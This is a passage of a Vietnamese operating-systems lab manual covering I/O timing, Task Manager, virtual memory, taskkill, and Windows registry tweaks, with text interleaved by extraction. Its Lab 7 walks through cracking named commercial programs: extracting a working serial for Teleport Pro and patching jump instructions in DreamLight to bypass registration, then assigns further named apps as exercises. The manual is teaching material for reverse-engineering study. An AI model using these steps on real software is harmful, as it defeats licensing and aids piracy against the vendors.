  38. Lab5: Đo lường các thao tác về I/O Hệ điều hành 5. Sử dụng Tera Copy B1: Cài đặt chương trình Tera Copy. B2: Chọn buffer size là 128K, rồi copy file1.mpg B3: Thử tăng buffer size và copy lại file1.mpg. Sau Câu hỏi : Hãy thử suy nghĩ và so sánh tốc độ giữa đĩ thử tăng tiếp buffer size và thực hiện lại thao tác hai thao tác Copy và Cut ? Thao tác nào sẽ nhanh copy file1.mpg. Nhận xét ? hơn ? Lý giải hiện tượng này. ? GV: ThS. Đào Quốc Phương Trang 34
  39. Lab6: Theo dõi các tiến trình và bộ nhớ Hệ điều hành Lab 6 THEO DÕI CÁC TIẾN TRÌNH VÀ BỘ NHỚ 6.1 Đánh giá hiệu suất máy tính với cơng cụ Task Manager Khởi động Task Manager bằng những cách sau Nhấn tổ hợp phím Ctrl + Shift + ESC. Nhấn Ctrl + Alt + Del, sau đĩ chọn nút Task Manager Nhấn chuột phải thanh Taskbar và chọn mục Task Manager  Tab Applications liệt kê tất cả các ứng dụng đang  Tab Processes liệt kê tất cả các tiến trình đang chạy. Nếu một ứng dụng nào đĩ bị treo chúng ta sẽ chạy gồm cĩ các thơng tin về tiến trình như: tên tiến thấy status là “Not Responding”, ta chọn ứng dụng trình (image name), người dùng nào đang chạy tiến bị treo và nhấn End Task trình (username), tỷ lệ sử dụng CPU (CPU), dung lượng bộ nhớ sử dụng cho tiến trình (Mem usage) a. Cĩ bao nhiêu ứng dụng đang chạy trên máy của bạn : b. Liệt kê những tiến trình của hệ thống (cĩ username là System) chạy trên máy của bạn : c. Số lượng tiến trình đang chạy trên máy của bạn là bao nhiêu ? GV: ThS. Đào Quốc Phương Trang 35
  40. Lab6: Theo dõi các tiến trình và bộ nhớ Hệ điều hành  Tab Perfomance cho biết thơng tin thống kê việc Nếu các tiến trình đang trong quá trình chạy và xử lý sử dụng CPU và RAM thì sẽ sử dụng CPU và RAM vì thế ta thấy số liệu  : dung lượng bộ nhớ vật lý (RAM) trên các biểu đồ thống kê thay đổi liên tục. Các tiến trình mới sinh ra cũng sẽ làm cho việc sử dụng dung  : dung lượng bộ nhớ mà hệ điều hành dùng lượng RAM tăng theo.  : tổng dung lượng hiện tại mà các process đang Nếu dung lượng RAM vật lý quá ít sẽ khiến hệ điều dùng (bao gồm cả RAM và virtual RAM) hành phải dùng tới virtual memory nhiều, điều này sẽ khiến việc sử dụng CPU tăng lên. Thực hành : 1. Khởi động chương trình notepad làm 2 lần bằng cách vào Start Run gõ notepad OK. Sau đĩ kiểm tra lại trong tab Applications đã thấy gì ?. Chọn một trong ứng dụng Notepad đang chạy và nhấn “Switch To”, mơ tả chuyện gì xảy ra, chức năng của Switch To ? Sau đĩ “End Task”, mơ tả chuyện gì xảy ra ? Cuối cùng, khởi động ứng dụng WordPad dùng chức năng “New Task ” GV: ThS. Đào Quốc Phương Trang 36
  41. Lab6: Theo dõi các tiến trình và bộ nhớ Hệ điều hành 2. Trong tab Processes, hãy xác định tiến trình nào chiếm dụng CPU nhiều nhất và cho biết nhiệm vụ của tiến trình này là gì ? 3. Tạo một tập tin virus.vbs (vbscript) cĩ mã lệnh như sau (cĩ thể dùng Notepad để soạn) Dim a While (true) a = a + 1 Wend Double click vào script để chạy và theo dõi tiến trình chạy tên gì ? Ghi thơng số về tỷ lệ mà tiến trình này chiếm dụng CPU. Cuối cùng chọn process này, nhấn chuột phải chọn Set Priority thiết lập mức Low. Nhận xét về kết quả như thế nào ? 4. Chọn tab Perfomance, vào menu View chọn Show Kernel Times để xem thêm thơng tin về quá trình làm việc của hệ điều hành (đường biểu diễn màu đỏ trên biểu đồ). Double click trên biểu đồ để phĩng lớn lên. Nhấn giữ cửa sổ Task Manager, và di chuyển cửa sổ qua lại thật nhanh trên màn hình, quan sát sự thay đổi của CPU trên biểu đồ. Tại sao lại xảy ra sự thay đổi này ? Ghi nhận các thơng tin về Physical Memory và Kernel Memory. Tính tốn xem bao nhiêu phần trăm bộ nhớ được sử dụng bởi kernel. Sau đĩ khởi động ứng dụng WordPad 10 lần và mơ tả những thay đổi với thơng tin về Kernel Memory. GV: ThS. Đào Quốc Phương Trang 37
  42. Lab6: Theo dõi các tiến trình và bộ nhớ Hệ điều hành 6.2 Quản lý Bộ nhớ ảo B1 : Nhấn chuột phải My Computer Properties B2 : Chọn thẻ Advanced nhấn Change chọn thẻ Advanced nhấn Settings B3 : chọn ổ đĩa C: nhập kích thước RAM ảo trong B4 : Kết quả sau khi thiết lập thơng số cho Ram ảo. mục Intial size và mục Maximum size. Nhấn nút Set. Nhấn OK GV: ThS. Đào Quốc Phương Trang 38
  43. Lab6: Theo dõi các tiến trình và bộ nhớ Hệ điều hành Wndows sẽ lưu trữ bộ nhớ ảo này trên đĩa cứng thơng qua tập tin pagefile.sys. Muốn nhìn thấy được tập tin này ta làm các bước sau B1 : Khởi động Windows Explorer vào menu B2 : Truy cập vào ổ đĩa C:\, ta sẽ tìm thấy tập tin Tools Folder Options. Chọn thẻ View và chọn pagefile.sys là tập tin hệ thống và cĩ dung lượng mục Show hidden files and floder tiếp theo tả bỏ bằng đúng với dung lượng mà ta đã cấu hình cho các dấu check của mục Hide extensions for known RAM ảo. file types và mục Hide protected opreating system files. Nhấn OK 6.3 Cơng cụ Process Explorer Cơng cụ này cho phép ta biết thơng tin chi tiết hơn về một tiến trình, ví dụ thơng tin về tiến trình cha, tiến trình con, tiến trình đĩ chạy file nào trên máy, GV: ThS. Đào Quốc Phương Trang 39
  44. Lab6: Theo dõi các tiến trình và bộ nhớ Hệ điều hành 6.4 Lệnh TASKLIST Lệnh này liệt tất cả các tiến trình đang chạy kèm với các thơng tin của tiến trình như : Image Name (tên process), PID (số hiệu tiến trình), Mem Usage (dung lượng bộ nhớ mà tiến trình dùng) 6.5 Lệnh TASKKILL Lệnh này dùng để kết thúc một tiến trình. Ví dụ ta muốn kết thúc tiến trình cĩ tên freecell.exe ta sẽ làm các bước sau : B1: giả sử khởi động ứng dụng FreeCell bằng cách B2: kết thúc tiến trình bằng lệnh taskkill với cú pháp: vào Start Run gõ freecell OK. Sau đĩ kiểm C:\>taskkill /F /IM freecell.exe tra bằng lệnh tasklist xem cĩ tiến trình này chưa. Ta Hoặc nhận xét tiến trình này cĩ tên freecell.exe và cĩ PID C:\>taskkill /PID 2116 /T là 2116. GV: ThS. Đào Quốc Phương Trang 40
  45. Lab7: Tìm hiểu về Cracking Hệ điều hành Lab 7 TÌM HIỂU VỀ CRACKING Chú ý : Các thao tác được hướng dẫn chỉ mang tính chất tham khảo phục vụ trong việc học tập, các sinh viên được cảnh báo khơng sử dụng trong việc khác. Chuẩn bị cơng cụ: Phần mềm W32DASM : phần mềm dùng để dịch ngược file thực thi thành mã máy. Phần mềm OllyDbg : phần mềm dùng để debug các file thực thi. Sinh viên cần am hiểu mã lệnh assembly (mã máy) 7.1 Dị tìm số serial trong phần mềm Teleport pro 1.29 Chương trình Teleport Pro là một chương trình dùng để “hút” tất cả mọi thứ trên một website nhằm giúp chúng ta cĩ thể duyệt Web offline mà khơng cần phải online. Nhưng nếu khơng đăng ký bạn chỉ cĩ thể “hút” tối đa 500 file. Cài đặt phần mềm Teleport Pro 1.29 lên Windows Chạy phần mềm Teleport Pro vào mục Help chọn XP bằng cách nhấn đúp vào tập tin cài đặt Register để đăng ký. Ta thấy chương trình báo sai pro12.exe số serial. Vấn đề nằm ở đây, phải chăng lúc này chương trình sẽ kiểm tra số serial chúng ta nhập vào và số serial của chương trình, như vậy phải xảy ra một sự so sánh. Nếu như chúng ta cĩ số serial đúng thì sự so sánh này sẽ cho kết quả đúng và chúng ta sẽ vượt qua được bức tường này. Đến lúc này ta cần dùng cơng cụ W32DASM để tìm một số những thơng tin hữu ích về phần mềm. Hãy khởi động W32DASM , sau đĩ nhấn Disassembler ~> Open File To Disassmble và chỉ đến đường dẫn nơi chứa file thực thi của chương trình Teleport Pro nằm trong C:\Program Files\Teleport Pro Và sau đây là giao diện của chương trình sau khi W32DASM đã dịch ngược thành mã máy GV: ThS. Đào Quốc Phương Trang 41
  46. Lab7: Tìm hiểu về Cracking Hệ điều hành Ta vào tiếp mục Refs ~> String Data Reference và tìm thấy một dịng chữ đáng ngờ sau đây Hãy nhấn đúp vào dịng này và ghi lại địa chỉ nơi xảy ra mã lệnh thơng báo này GV: ThS. Đào Quốc Phương Trang 42
  47. Lab7: Tìm hiểu về Cracking Hệ điều hành 00425656 69F01B0000 push 00001BF0 Đến lúc này ta cần dùng cơng cụ OllyDbg để dị tìm số serial từ thơng tin ích ỏi ở trên. Hãy khởi động OllyDbg , sau đĩ nhấn File ~> Open và chỉ đến đường dẫn nơi chứa file thực thi của chương trình Teleport Pro nằm trong C:\Program Files\Teleport Pro Và sau đây là giao diện của chương trình sau khi OllyDbg đã dịch ngược thành mã máy Trong đĩ màn hình số  là hình ảnh về mã nguồn của của tập tin thực thi Teleport Pro đã dịch ngược thành mã máy (mã lệnh assembly). Màn hình số  hiển thị nội dung của các thanh ghi trong CPU. Màn hình số  hiển thị nội dung của bộ nhớ RAM. GV: ThS. Đào Quốc Phương Trang 43
  48. Lab7: Tìm hiểu về Cracking Hệ điều hành Nhấn Ctrl + G và gõ vào địa chỉ quý báu tìm thấy từ chương trình W32DASM. Di chuyển lên trên chúng ta sẽ tìm thấy một vài mã lệnh cĩ ích. Ta sẽ đặt “bẫy” (bằng cách nhấn F2) tại địa chỉ mã lệnh sau 00425602 E8 54BC0100 CALL pro.00441258 Sau đĩ sẽ dị lần lượt xem chương trình đã làm gì (bằng cách nhấn F8) rồi nhập tên thơng tin về username là doremon, gõ vào số serial bất kỳ, sau đĩ nhấn F8 và khi đến dịng mã lệnh 00425648 3945 E8 CMP DWORD PTR SS:[EBP-18],EAX Hãy để ý dịng lệnh này, lệnh CMP là so sánh, vậy ra bức tường ngăn cản của chương trình nằm ở đây, đồng thời ta cũng phát hiện giá trị thanh ghi EAX trong CPU lúc này cĩ giá trị số hex là 3A849CFD. Lấy máy tính và tính tốn chuyển số này thành số thập phân ta cĩ giá trị này là 981769469. Đây phải chăng là số serial của chương trình. Hãy khởi động lại Teleport Pro, nhập username là Doremon và số serial là 981769469 bạn sẽ thấy kết quả thật tuyệt. 7.2 Bỏ qua quá trình kiểm tra số serial của phần mềm DreamLight Phần mềm DreamLight là phần mềm giúp chúng ta tạo các hiệu ứng trên ảnh khá đẹp và thú vị nhưng chỉ cho phép chúng ta sử dụng 30 lần, chương trình sẽ khố và khơng cho chúng ta dùng nữa. Hãy thử xem ! GV: ThS. Đào Quốc Phương Trang 44
  49. Lab7: Tìm hiểu về Cracking Hệ điều hành Cài đặt phần mềm DreamLight lên Windows XP Chạy phần mềm DreamLight vào mục Register để bằng cách nhấn đúp vào tập tin cài đặt đăng ký. Ta thấy chương trình báo sai số serial. Hãy dreamlight.exe để ý đến thơng báo “Invalid SerialNumber!” Đến lúc này ta cần dùng cơng cụ OllyDbg để tìm kiếm các thơng tin hữu ích. Hãy khởi động OllyDbg , sau đĩ nhấn File ~> Open và chỉ đến đường dẫn nơi chứa file thực thi của chương trình DreamLight nằm trong C:\Program Files\DreamLight Photo Editor Tiếp theo ta nhấn chuột phải chọn mục Search For ~> All referenced text string. Hãy tìm xem dịng chữ “Invalid SerialNumber!” cĩ mặt ở những địa chỉ nào, hãy ghi ra giấy những địa chỉ này. Ta quay trở lại màn hình mã lệnh assembly và tìm thấy những dịng mã lệnh cĩ ích sau đây 00473863 TEST AL,AL 00473865 JE dreamlig.00473905 00473881 CMP EAX,OB 00473865 JNZ SHORT dreamlig.00473905 004738C2 JNZ SHORT dreamlig.00473905 Hãy để ý các dịng lệnh JE, JNZ tất cả đều là lệnh nhảy và nhảy đến địa chỉ 00473905, mà xem xét kỹ thì 00473905 là địa chỉ chứa dịng chữ “Invalid SerialNumber”, tới đây nghi ngờ các dịng lệnh này sẽ thực thi nếu số serial của ta gõ vào khơng đúng với chương trình thì lập tức nĩ sẽ báo lỗi, vậy ta sẽ xử lý khơng cho nĩ nhảy tới địa chỉ trên bằng cách sửa lại như sau: (sửa bằng cách nhấn đúp vào dịng mã lệnh đĩ) 00473863 TEST AL,AL 00473865 JNZ dreamlig.00473905 GV: ThS. Đào Quốc Phương Trang 45
  50. Lab7: Tìm hiểu về Cracking Hệ điều hành 00473881 CMP EAX,OB 00473865 JE SHORT dreamlig.00473905 004738C2 JE SHORT dreamlig.00473905 Sau khi đã sửa xong, ta nhấn chuột phải, chọn Copy to executable ~> All modifications ~> Copy all và chọn Yes ghi đè lên tập tin thực thi của chương trình. Bây giờ thử khởi động lại chương trình và đăng ký, sau đĩ nhấn Open chương trình sẽ khơng cản trở ta nữa. Bài tập : Hãy thử với phần mềm EditPlus3, magicphotof, photoshine, kbmusic GV: ThS. Đào Quốc Phương Trang 46
  51. Lab8: Tìm hiểu về Registry Hệ điều hành Lab 8 TÌM HIỂU VỀ REGISTRY 8.1 Giới thiệu Registry Registry là một cơ sở dữ liệu dùng để lưu trữ thơng số kỹ thuật của Windows. Nĩ ghi nhận tất cả các thơng tin khi bạn thay đổi, chỉnh sửa trong Menu Settings, Control Panel Để chỉnh sửa registry ta nhấn Start Run gõ regedit OK. Cĩ 5 nhánh chính, mỗi nhánh chứa đựng những thơng tin đặc biệt lưu trữ trong Registry. HKEY_CLASSES_ROOT Nhánh này theo dõi những tập tin liên kết (File Association), dữ liệu thơng tin về các đối tượng trong lớp, hệ điều hành và các phím tắt. HKEY_CURRENT_USER Nhánh này liên kết với khu vực của nhánh HKEY_USERS. Nơi dung của nhánh này tuỳ thuộc vào những người dùng hiện đăng nhập máy tính. Nhánh này lưu lại các sở thích và các xác lập liên quan đến các ứng dụng dành riêng cho từng người sử dụng máy. HKEY_LOCAL_MACHINE Nhánh này chứa đựng các thơng tin đặc biệt về máy tính bao gồm phần cứng , phần mềm và cấu hình của máy tính. Thơng tin này được sử dụng cho tất cả các người dùng máy tính. HKEY_USERS Nhánh này chứa đựng những sở thích riêng lẻ của từng người dùng máy tính, mỗi người dùng được đại diện bởi 1 tù khố con SID, được định vị dưới nhánh chính. GV: ThS. Đào Quốc Phương Trang 47
  52. Lab8: Tìm hiểu về Registry Hệ điều hành HKEY_CURRENT_CONFIG Nhánh này liên kết với khu vực của nhánh HKEY_LOCAL_MACHINE, dành riêng cho cấu hình của phần cứng hiện hành. 8.2 Tự động đăng nhập khơng cần mật khẩu Nếu bạn là người duy nhất sử dụng máy tính thì thao tác đăng nhập mỗi khi khởi động máy là khơng cần thiết. Bạn cĩ thể vơ hiệu hĩa việc đăng nhập này bằng cách: Nhấp Start > Run gõ lệnh control userpasswords2 rồi nhấn Enter. Xuất hiện hộp thoại, bỏ dấu kiểm trước tùy chọn Users must enter a user name and password to use this computer 8.3 Khơng hiển thị logo Windows XP khi khởi động Nếu khơng thích hiển thị logo của Windows XP trong quá trình khởi động, bạn làm như sau: Vào Start > Run gõ MSCONFIG rồi nhấn Enter. Nhấn chọn thẻ BOOT.INI. Đánh dấu kiểm trước tùy chọn /NOGUIBOOT. 8.4 Xĩa nội dung Page File (pagefie.sys) khi tắt máy Khi bộ nhớ RAM bị thiếu, hệ thống sẽ tạo một bộ nhớ ảo lấy dung lượng từ đĩa cứng. Nội dung bộ nhớ ảo này được lưu trữ trong một tập tin tạm gọi là Page File. Tùy theo dung lượng chỉ định mà tập tin này cĩ kích thước lớn hay nhỏ. Để làm trống nội dung tập tin này mỗi lần shutdown máy, bạn làm theo 1 trong 2 cách sau: Cách 1 : Dùng Administrative Tools: Vào Start > Settings > Control Panel Nhấp đúp lên Administrative Tools > Local Security Policy Duyệt tới các mục Local Policies > Security Options Trong danh sách bên phải, tìm và nhấp đúp lên mục Shutdown: Clear Virtual Memory Pagefile rồi chọn Enable Khởi động lại máy tính. GV: ThS. Đào Quốc Phương Trang 48
  53. Lab8: Tìm hiểu về Registry Hệ điều hành Cách 2 : Thay đổi trong Registry: Vào Start > Run gõ Regedit rồi nhấn Enter. Lần lượt duyệt tới các khĩa HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \Memory Management\. Cửa sổ bên phải, nhấp đúp lên khĩa ClearPageFileAtShutdown rồi sửa giá trị thành 1. Đĩng Registry và khởi động lại máy tính. 8.5 Hiển thị hộp thơng báo trước khi Logon Với hướng dẫn này bạn sẽ làm cho máy bạn hiện một thơng báo trước khi hiện hộp thoại đăng nhập (Logon). Đĩ cĩ thể là nội quy cơng ty hay lời nhắc nhở của bạn tuỳ thích. Tìm đến khố chỉ ra bên dưới trong Registry Editor, tạo hai giá trị String mới nếu chưa cĩ với tên là "LegalNoticeCaption" với dữ liệu là tiêu đề của hộp thoại, và giá trị tên "LegalNoticeText" với dữ liệu là nội dung của hộp thoại thơng báo. Minh họa trong Registry Editor Name Type Data (Default) REG_SZ (not set value) LegalNoticeCaption REG_SZ Thơng báo! LegalNoticeText REG_SZ Hiện giờ chưa cĩ gì để thơng báo! My Computer\ HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon System Key: HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon Name: LegalNoticeCaption, LegalNoticeText Type: REG_SZ GV: ThS. Đào Quốc Phương Trang 49
  54. Lab8: Tìm hiểu về Registry Hệ điều hành 8.6 Ẩn Tab Hardware Khi nhấn chuột phải trên các ổ đĩa các thơng tin liên quan đến ổ đĩa và chọn Properties trong menu Context sẽ hiện lên trong một cửa sổ gồm nhiều Tab, trong đĩ cĩ Hardware. Ta cĩ thể tắt Tab HardWare như sau: Tìm đến khố chỉ ra bên dưới trong Registry Editor, tạo mới giá trị DWORD với tên "NoHardWareTab" nếu chưa cĩ và sửa dữ liệu của nĩ thành 1 để giấu Tab HardWare. Minh họa trong Registry Editor Name Type Data (Default) REG_SZ (not set value) NoHardwareTab REG-DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer. System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoHardwareTab Type: REG_DWORD Value: 0 - hiện Tab HardWare, 1 - ẩn Tab HardWare. 8.7 Ẩn Tab Security Trong hộp thoại Properties của tập tin và thư mục (xuất hiện trong menu context khi click phải lên Icon của tập tin và thư mục) cĩ tab Security cho phép bạn thiết lập chức năng bảo mật cho tập tin và thư mục. Hướng dẫn này giúp bạn cĩ thể tắt tab này. Tìm đến khố chỉ ra bên dưới trong Registry Editor, tạo mới giá trị DWORD với tên "NoSecurityTab" nếu chưa cĩ và sửa dữ liệu của nĩ thành 1 để giấu tab Security. Minh họa trong Registry Editor Name Type Data (Default) REG_SZ (not set value) NoSecurityTab REG-DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer. System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoSecurityTab Type: REG_DWORD Value: 0 - hiện, 1 - ẩn tab Security. GV: ThS. Đào Quốc Phương Trang 50
  55. Lab8: Tìm hiểu về Registry Hệ điều hành 8.8 Ẩn mục Properties khi click phải trên biểu tượng My Computer Hướng dẫn này giúp bạn giấu menu Properties khi click phải vào biểu tượng My Computer. Tìm đến khố chỉ ra bên dưới trong Registry Editor, tạo giá một giá trị kiểu DWORD nếu nĩ chưa cĩ với tên "NoPropertiesMyComputer", sửa dữ liệu nĩ là 1 để ẩn menu Properties của My Computer. Minh họa trong Registry Editor Name Type Data (Default) REG_SZ (not set value) NoPropertiesMyComputer REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoPropertiesMyComputer Type: REG_DWORD Value: 0: Hiện menu Properties, 1 - ẩn menu Properties 8.9 Ẩn các ổ đĩa Hướng dẫn này giúp bạn cĩ thể ẩn từng ổ đĩa hoặc tất các ổ đĩa từ A đến Z trong cửa sổ Explorer. Tìm đến khố chỉ ra bên dưới, tạo mới giá trị DWORD với tên "NoDrives" nếu chưa cĩ. Chú ý các con số sau tương ứng với từng ổ đĩa. A:1, B: 2, C: 4, D: 8, E: 16, E: 32, F: 64, G: 128, H: 256, I: 512, J: 1024, K: 2048, L: 4096, M: 8192, N: 16384, O: 32768, P: 65536, Q: 131072, R: 262144, S: 524288, T: 1048576, U: 2097152, V: 4194304, X: 8388608, Y: 16777216, Z: 33554432. All: 67108863. Từ A-Z: là cấp số nhân bội số 2 bắt đầu từ 1. Nếu muốn ẩn 1 ổ đĩa thì sửa dữ liệu cho giá trị "NoDrives" tương ứng với số đặc trưng của ổ đĩa nêu trên, nếu muốn ẩn nhiều ổ đĩa thì cộng dồn các số đặc trưng đĩ, ví dụ muốn ẩn ổ C và D thì giá trị của NoDrives là 12, và muốn ẩn tất cả các ổ đĩa thì giá trị của Drives là 67108863. Minh họa trong Registry Editor Name Type Data (Default) REG_SZ (not set value) NoDrives REG_DWORD 0x03ffffff (67108863) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoDrives Type: REG_DWORD GV: ThS. Đào Quốc Phương Trang 51
  56. Lab8: Tìm hiểu về Registry Hệ điều hành 8.10 Đổi tên và biểu tượng các ổ đĩa Hướng dẫn này giúp bạn thiết lập Registry để đổi tên các ổ đĩa và Icon của nĩ theo ý bạn. Trình tự thực hiện các bước như sau: Bước 1: Tìm đến khĩa trong Registry Editor HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer. Tạo một khĩa với tên DriveIcons nếu nĩ chưa cĩ. Tạo một khĩa con với tên tương ứng với tên của ổ đĩa mà bạn muốn đổi tên và Icon của nĩ. Ví dụ ở đây là D. Bước 2: Tạo một khĩa con của khĩa D với tên DefaultIcon, nhập dữ liệu cho giá trị Default của nĩ là đường dẫn đầy đủ của Icon mà bạn muốn chọn làm biểu tượng cho ổ đĩa. Bước 3: Tạo một khĩa con của khĩa D với tên là DefaultLabel, nhập dữ liệu cho giá trị Default của nĩ là tên mới cho ổ đĩa. User Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ DriveIcons 8.11 Ẩn các Icon đặc biệt trên Desktop Các Icon My Computer, My Documents, Internet Explorer, My Network Places đơi lúc làm màn hình Desktop trở nên chật chội, chúng ta cĩ thể tắt chúng đi. Bảng sau giúp bạn tham khảo những giá trị đại diện cho các biểu tượng đặc biệt trên Desktop. Tên giá trị trong Registry Tên biểu tượng trên Desktop {208D2C60-3AEA-1069-A2D7-08002B30309D} My Network Connections {20D04FE0-3AEA-1069-A2D8-08002B30309D} My Computer {450D8FBA-AD25-11D0-98A8-0800361B1103} My Documents {871C5380-42A0-1069-A2EA-08002B30309D} Internet Explorer Trong Windows XP, click phải trên mành hình Desktop, chọn Properties, chọn Tab Desktop, nhấn Customize Desktop , chọn Tab General. Từ đây bỏ dấu Check để ẩn các biểu tượng một cách dễ dàng. Khi bạn chọn bỏ dấu Check thì Windows sẽ lưu vào Registry, vâng hầu như tất cả đều liên quan đến Registry. Khi bạn đang sử dụng StartMenu kiểu Classic thì Windows sẽ ghi vào khĩa HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ HideDesktopIcons\ ClassicStartMenu. Tương ứng với biểu tượng nào bạn bỏ dấu Check thì Windows sẽ ghi vào Registry giá trị DWORD tương đương được liệt kê ở bảng trên và gán dữ liệu cho nĩ là 1 để ẩn nĩ, 0 để hiện lại nĩ nếu bạn check vào ơ check box. Minh họa trong Registry Editor - Ần My Computer Name Type Data (Default) REG_SZ (not set value) {20D04FE0-3AEA-1069-A2D8-08002B30309D} REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ HideDesktopIcons\ ClassicStartMenu. GV: ThS. Đào Quốc Phương Trang 52
  57. Lab8: Tìm hiểu về Registry Hệ điều hành Khi bạn đang sử dụng Start Menu XP thì Windows thực hiện tương tự như ở khố khác: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ HideDesktopIcons\ NewStartPanel Chúng ta vẫn cĩ cách khác để ẩn các biểu tượng này trên Desktop. Tìm đến khố chỉ ra bên dưới trong Registry Editor, tạo những giá trị DWORD mới nếu nĩ khơng tồn tại tương ứng với các giá trị được liệt kê ở bản trên và gán dữ liệu cho nĩ là 1 nếu bạn muốn ẩn nĩ đi Minh họa trong Registry Editor - Ần My Computer Name Type Data (Default) REG_SZ (not set value) {20D04FE0-3AEA-1069-A2D8-08002B30309D} REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ NonEnum User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ NonEnum System Key: HKEY_LOCAL_MACHINE\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ NonEnum Name: {20D04FE0-3AEA-1069-A2D8-08002B30309D} Type: REG_DWORD Value: 0 - hiện, 1 - ẩn 8.12 Ẩn hiện nút Shutdown Hướng dẫn này giúp bạn vơ hiệu hố nút Shutdown trên Start Menu. Tìm đến khố chỉ ra bên dưới trong Registry Editor. Tạo một giá trị DWORD mới với tên "NoClose" nếu chưa cĩ và gán dữ liệu cho nĩ là 1 để vơ hiệu hố nút Shutdown. Minh họa trong Registry Editor Name Type Data (Default) REG_SZ (not set value) NoClose REG_DWORD 0x00000001(1) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer Name: NoClose Type: REG_DWORD Value: 0 - hiện, 1 - vơ hiệu hố Shutdown 8.13 Tắt menu Log Off trên Start Menu Tìm đến khố chỉ ra bên dưới trong Regsitry Editor, tạo một giá trị kiểu DWORD mới với tên "StartMenuLogOff" và sửa dữ liệu cho nĩ thành 1 để khơng cho phép hiển thị mục LogOff. GV: ThS. Đào Quốc Phương Trang 53
  58. Lab8: Tìm hiểu về Registry Hệ điều hành Minh họa trong Registy Editor Name Type Data (Default) REG_SZ (not set value) StartMenuLogOff REG_DWORD 0x00000000(0) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer \ Advanced Name: StartMenuLogOff Type: REG_DWORD Value: 1- ẩn menu Log Off, 0 - hiện menu Log Off 8.14 Tắt menu Run Hướng dẫn này giúp bạn điều khiển Windows tắt menu Run trên Start Menu. Khi đã tắt menu Run bạn vẫn cĩ thể dùng phím tắt Windows + R để mở cửa sổ Run. Tìm đến khố chỉ ra bên dưới trong Regsitry Editor, tạo một giá trị kiểu DWORD mới với tên "StartMenuRun" và sửa dữ liệu cho nĩ thành 0 để tắt menu Run. Minh họa trong Registy Editor Name Type Data (Deafult) REG_SZ (not set value) StartMenuRun REG_DWORD 0x00000000(0) My Computer\ HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced User Key: HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced Name: StartMenuRun Type: REG_DWORD Value: 0- tắt menu Run. 1- hiện menu Run trên Start Menu 8.15 Tắt menu Help & Supports trên Start Menu Đối với những người mới làm quen với máy tính thì menu Help cĩ tính hữu dụng, như khi bạn đã cĩ chút kiến thức cơ bản rồi thì phần Help khơng cần đến nữa. Hướng dẫn này giúp bạn điều khiển Windows tắt menu Help trên Start Menu. Tìm đến khố chỉ ra bên dưới trong Regsitry Editor, tạo một giá trị kiểu DWORD mới với tên "NoSMHelp" nếu chưa cĩ và sửa dữ liệu cho nĩ thành 1 tắt menu Help trên Start Menu. GV: ThS. Đào Quốc Phương Trang 54
